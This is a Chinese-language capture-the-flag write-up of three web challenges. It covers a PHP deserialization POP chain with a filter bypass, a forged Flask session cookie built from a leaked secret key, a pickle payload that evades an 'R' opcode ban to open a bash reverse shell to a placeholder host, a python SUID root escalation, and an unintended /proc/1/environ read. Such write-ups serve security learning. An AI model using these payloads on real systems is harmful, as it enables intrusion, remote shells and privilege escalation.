前言
连着几次web爆零了,这次终于稍微复健一下了
Web
D0n’t pl4y g4m3!!!
访问题目/p0p.php,发现重定向跳转到了另一个网站
抓包查看
访问/hint.zip,下载并解压,得到hint
Ö_0 0vO Ow0 0w0 Ö_0 Ö_O Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0_Ö Ö_o owO O.0 owo Ö_o owO O.0 owo Ö_0 0wÖ O.0 0w0 Ö_0 OwO ov0 owo o_O O.Ö Övo
搜索发现是尊嘟语,找个翻译器:https://zdjd.vercel.app/
尝试直接访问/tmp/catcatf1ag.txt
返回这个页面,可以知道这是用php -s
直接起的服务
也就是说这题存在源码泄露漏洞
修改请求头,得到源码
<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");
class Pro{
private $exp;
private $rce2;
public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}
class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{
return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}
function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}
$a = $_POST["CTF"];
if (isset($a)){
unserialize(prohib($a));
}
?>
# ./有hint.zip
这题的链子和neepuctf的ezphp很像
然后问题就在于怎么绕过过滤
这里琢磨了半天选择直接读文件(ps:因为是preg_replace
,所以可以双写system绕过)
测试了几个方法最后用highlight_file
读出来的
<?php
error_reporting(0);
class Pro{
private $exp;
private $rce2;
}
class Yang{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
}
class Cheng{
private $finish;
public $name;
}
class Bei{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup(){
$this->key=false;
}
}
$a=new Bei();
$a->rce="/tmp/catcatf1ag.txt";
$a->rce1="";
$b=new Yang();
$b->finish->finish=true;
$a->CTF=$b;
$c=new Yang();
$c->key=true;
$c->finish->finish=true;
$c->now['YCB1']='highlight_file';
$a->fine=$c;
echo urlencode(serialize($a));
Serpent
jwt+pickle反序列化R绕过+python提权
访问/www.zip下载源码
from flask import Flask, session
from secret import secret
@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
逻辑很简单,就是对session值的校验
直接取session值解密
python flask_session_cookie_manager3.py decode -c "eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRVaTZIb21lcjBFIn19.ZPMmsA.0xXhz5Q1JiVFjndMRMEgPB1OmWM"
得到
b'{"Attribute":{"admin":0,"name":"GWHT","secret_key":"GWHTUi6Homer0E"}}'
于是修改,加密
python flask_session_cookie_manager3.py encode -s "GWHTUi6Homer0E" -t "{'Attribute':{'admin':1,'name':'admin','secret_key':'GWHTUi6Homer0E'}}"
得到
eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUVWk2SG9tZXIwRSJ9fQ.ZPMstg.oW1TUIaJD-mmuvGiszk32M0dC4A
带回session
注:访问/ppppppppppick1e后,在响应头还有hint,但是我比赛时漏看了(
访问/src0de,得到源码
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]
@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message
return rsp
class GWHT():
def __init__(self):
pass
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
接下来就是pickle反序列化了,
可以看到有个check函数,大佬们的wp是用o指令进行R指令绕过反弹shell,应该是R指令被ban了
from flask import Flask, session
import base64
opcode=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/your_ip/port <&1"'
o.'''
print(base64.b64encode(opcode)
接下来是suid提权,直接看现成的payload:https://gtfobins.github.io/gtfobins/python/
python3.8 -c "import os;os.execl('/bin/sh','sh','-p')"
ArkNights
源码
import uuid
from flask import *
from werkzeug.utils import *
app = Flask(__name__)
app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
@app.route('/')
def index():
name=request.args.get("name","name")
m1sery=[request.args.get("m1sery","Doctor.Boogipop")]
if(session.get("name")=="Dr.Boog1pop"):
blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
if blacklist:
return "bad hacker no way"
exec(f'for [{name}] in [{m1sery}]:print("strange?")')
else:
session['name'] = "Doctor"
return render_template("index.html",name=session.get("name"))
@app.route('/read')
def read():
file = request.args.get('file')
fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
if fileblacklist:
return "bad hacker!"
start=request.args.get("start","0")
end=request.args.get("end","0")
if start=="0" and end=="0":
return open(file,"rb").read()
else:
start,end=int(start),int(end)
f=open(file,"rb")
f.seek(start)
data=f.read(end)
return data
@app.route("/<path:path>")
def render_page(path):
print(os.path.pardir)
print(path)
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)
if __name__=='__main__':
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
非预期:/read?file=/proc/1/environ